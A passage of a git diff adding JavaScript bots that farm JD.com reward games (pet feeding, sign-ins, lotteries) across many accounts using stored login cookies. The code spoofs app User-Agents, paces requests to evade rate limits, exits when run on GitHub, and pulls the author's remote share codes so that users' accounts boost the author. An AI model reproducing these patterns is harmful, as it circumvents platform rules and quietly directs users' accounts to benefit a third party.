每天一次 +async function signInitFun() { + console.log('准备每日签到'); + const response = await request("getSignReward"); + console.log(`每日签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); + // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; + } else { + console.log(`【每日签到】${response.message}\n`); + // message += `【每日签到】${response.message}\n`; + } +} + +// 三餐签到, 每天三段签到时间 +async function threeMealInitFun() { + console.log('准备三餐签到'); + const response = await request("getThreeMealReward"); + console.log(`三餐签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); + // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; + } else { + console.log(`【定时领狗粮】${response.message}\n`); + // message += `【定时领狗粮】${response.message}\n`; + } +} + +// 浏览指定店铺 任务 +async function browseSingleShopInit(item) { + console.log(`开始做 ${item.title} 任务, ${item.desc}`); + const body = { + "index": item['index'], + "version": 1, + "type": 1 + }; + const body2 = { + "index": item['index'], + "version": 1, + "type": 2 + }; + const response = await request("getSingleShopReward", body); + // console.log(`点击进去response::${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + const response2 = await request("getSingleShopReward", body2); + // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); + if (response2.code === '0' && response2.resultCode === '0') { + console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); + // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; + } + } +} + +// 浏览店铺任务, 任务可能为多个? 目前只有一个 +async function browseShopsInitFun() { + console.log('开始浏览店铺任务'); + let times = 0; + let resultCode = 0; + let code = 0; + do { + let response = await request("getBrowseShopsReward"); + console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); + code = response.code; + resultCode = response.resultCode; + times++; + } while (resultCode == 0 && code == 0 && times < 5) + console.log('浏览店铺任务结束'); +} +// 首次投食 任务 +function firstFeedInitFun() { + console.log('首次投食任务合并到10次喂食任务中\n'); +} + +// 邀请新用户 +async function inviteFriendsInitFun() { + console.log('邀请新用户功能未实现'); + if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { + // 如果有邀请过新用户,自动领取60gg奖励 + const res = await request('getInviteFriendsReward'); + if (res.code == 0 && res.resultCode == 0) { + console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); + message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; + } + } +} + +/** + * 投食10次 任务 + */ +async function feedReachInitFun() { + console.log('投食任务开始...'); + let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 + let needFeedTimes = 10 - finishedTimes; //还需要几次 + let tryTimes = 20; //尝试次数 + do { + console.log(`还需要投食${needFeedTimes}次`); + const response = await request('feedPets'); + console.log(`本次投食结果: ${JSON.stringify(response)}`); + if (response.resultCode == 0 && response.code == 0) { + needFeedTimes--; + } + if (response.resultCode == 3003 && response.code == 0) { + console.log('剩余狗粮不足, 投食结束'); + needFeedTimes = 0; + } + tryTimes--; + } while (needFeedTimes > 0 && tryTimes > 0) + console.log('投食任务结束...\n'); +} +async function showMsg() { + if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdPetNotify')) { + $.ctrTemp = $.getdata('jdPetNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +// 请求 +async function request(function_id, body = {}) { + await $.wait(3000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +// function taskUrl(function_id, body = {}) { +// return { +// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, +// headers: { +// Cookie: cookie, +// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), +// } +// }; +// } +function taskUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_pet_automation.js b/jd_pet_automation.js new file mode 100644 index 0000000..1640c0f --- /dev/null +++ b/jd_pet_automation.js @@ -0,0 +1,64 @@ +//40 5,12,21 * * * m_jd_pet_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M萌宠自动化'); +let commodityName = process.env.M_JD_PET_COMMODITY + ? process.env.M_JD_PET_COMMODITY + : '' +$.log('默认4级商品,生产指定商品请自行配置 M_JD_PET_COMMODITY') +$.logic = async function () { + let info = await api('initPetTown', {"version": 1}); + $.log(JSON.stringify(info)); + debugger + if (info?.result?.petStatus < 5) { + return + } + if (info?.result?.petStatus === 5) { + $.log(info?.result?.goodsInfo); + let activityId = info?.result?.goodsInfo.activityId; + let activityIds = info?.result?.goodsInfo.activityIds; + let data = await api('redPacketExchange', + {"activityId": activityId, "activityIds": activityIds}); + $.putMsg(`${info?.result?.goodsInfo.exchangeMedalNum === 4 ? '12' + : '25'}红包,${$.formatDate( + $.timestamp() + data.result.pastDays * 24 * 60 * 60 * 1000)}过期`) + info = await api('initPetTown', {"version": 1}); + } + if (info?.result?.petStatus === 6) { + info = await api('goodsInfoList', {"type": 2}) + let goods = commodityName ? info.result.goodsList.filter( + o => o.goodsName.includes(commodityName))[0] + : info.result.goodsList.filter(o => o.exchangeMedalNum === 4)[0]; + if (!goods) { + $.putMsg(`没找到你要生产的 ${commodityName}`) + return + } + info = await api('goodsInfoUpdate', {"goodsId": goods.goodsId}) + $.putMsg(`生产【${info.result.goodsInfo.goodsName}】成功`) + } +}; + +$.run({ + wait: [2000, 3000], whitelist: ['1-15'] +}).catch( + reason => $.log(reason)); + +// noinspection DuplicatedCode +async function api(fn, body) { + let url = `https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify( + body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=pet-town` +//↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓请求头↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ + let headers = { + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "Host": "api.m.jd.com", + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram`, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn" + } + let {data} = await $.request(url, headers) + await $.wait(1000, 3000) + return data; +} + diff --git a/jd_pigPet.js b/jd_pigPet.js new file mode 100644 index 0000000..5871224 --- /dev/null +++ b/jd_pigPet.js @@ -0,0 +1,992 @@ +/* +活动入口:京东金融养猪猪 +一键开完所有的宝箱功能。耗时70秒 +大转盘抽奖 +喂食 +每日签到 +完成分享任务得猪粮 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#京东金融养猪猪 +12 0-23/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true + +================Loon============== +[Script] +cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪 + +===============Surge================= +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js + +============小火箭========= +京东金融养猪猪 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true +*/ +const $ = new Env('金融养猪'); +const url = require('url'); +let cookiesArr = [], cookie = '', allMessage = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let shareId = "hRYQeeaVYXQBX1Mguan2kA" +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (process.env.PIGPETSHARECODE) { + shareId = process.env.PIGPETSHARECODE + } else { + let res = await getAuthorShareCode('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(2000) + res = await getAuthorShareCode('') + } + if (res && res.length) shareId = res[Math.floor((Math.random() * res.length))] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdPigPet(); + } + } + let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/pig.json') + if (!res2) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(2000) + res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json') + } + $.shareCodes = [...new Set([...$.shareCodes, ...(res2 || [])])] + console.log($.shareCodes) + console.log(`\n======开始大转盘助力======\n`); + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n自己账号内部循环互助\n`); + for (let item of $.shareCodes) { + await pigPetLotteryHelpFriend(item) + await $.wait(1000) + // if (!$.canRun) break + } + } + } + if (allMessage && new Date().getHours() % 6 === 0) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPigPet() { + try { + $.notAddFood = false; + await pigPetLogin(); + if (!$.hasPig) return + await pigPetSignIndex(); + await pigPetSign(); + await pigPetOpenBox(); + await pigPetLotteryIndex(); + await pigPetLottery(); + if (process.env.JD_PIGPET_PK && process.env.JD_PIGPET_PK === 'true') { + await pigPetRank(); + } + await pigPetMissionList(); + await missions(); + if ($.notAddFood) { + console.log(`\n猪猪已成熟,跳过喂食`) + } else { + await pigPetUserBag(); + } + } catch (e) { + $.logErr(e) + } +} +async function pigPetLottery() { + if ($.currentCount > 0) { + for (let i = 0; i < $.currentCount; i++) { + await pigPetLotteryPlay(); + await $.wait(5000); + } + } +} +async function pigPetSign() { + if (!$.sign) { + await pigPetSignOne(); + } else { + console.log(`第${$.no}天已签到\n`) + } +} +function pigPetSignOne() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "no": $.no + } + $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('签到结果', data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.sign = data.resultData.resultData.sign; + // $.no = data.resultData.resultData.today; + // } + // } else { + // console.log(`查询签到情况异常:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询背包食物 +function pigPetUserBag() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.goods) { + console.log(`\n食物名称 数量`); + for (let item of data.resultData.resultData.goods) { + console.log(`${item.goodsName} ${item.count}g`); + } + for (let item of data.resultData.resultData.goods) { + if (item.count >= 20) { + let num = 50; + $.finish = false; + $.remain = item.count + do { + console.log(`10秒后开始喂食${item.goodsName},当前数量为${$.remain}g`) + await $.wait(10000); + await pigPetAddFood(item.sku); + $.remain = $.remain - 20 + num-- + } while (num > 0 && !$.finish && $.remain >= 20) + } + } + } else { + console.log(`暂无食物`) + } + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//喂食 +function pigPetAddFood(skuId) { + return new Promise(async resolve => { + //console.log(`skuId::::${skuId}`) + const body = { + "source": 2, + "channelLV": "yqs", + "riskDeviceParam": "{}", + "skuId": skuId.toString(), + "category": "1001", + } + $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`喂食结果:${data.resultData.resultMsg}`) + if (data.resultData.resultData && data.resultData.resultCode == 0) { + item = data.resultData.resultData.cote.pig + if (item.curLevel = 3 && item.currCount >= item.currLevelCount) { + console.log(`\n猪猪已经成年了,请及时前往京东金融APP领取奖励\n`) + $.finish = true + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetLogin() { + return new Promise(async resolve => { + const body = { + "shareId": shareId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + $.hasPig = data.resultData.resultData.hasPig; + if (!$.hasPig) { + console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`) + return + } + if (data.resultData.resultData.wished) { + if (data.resultData.resultData.wishAward) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} ${data.resultData.resultData.wishAward.name}已可兑换,请及时去京东金融APP领取`) + $.notAddFood = true; + } + } + console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName} 的邀请码为${data.resultData.resultData.user.shareId}\n`) + } else { + console.log(`Login其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//开宝箱 +function pigPetOpenBox() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { + try { + 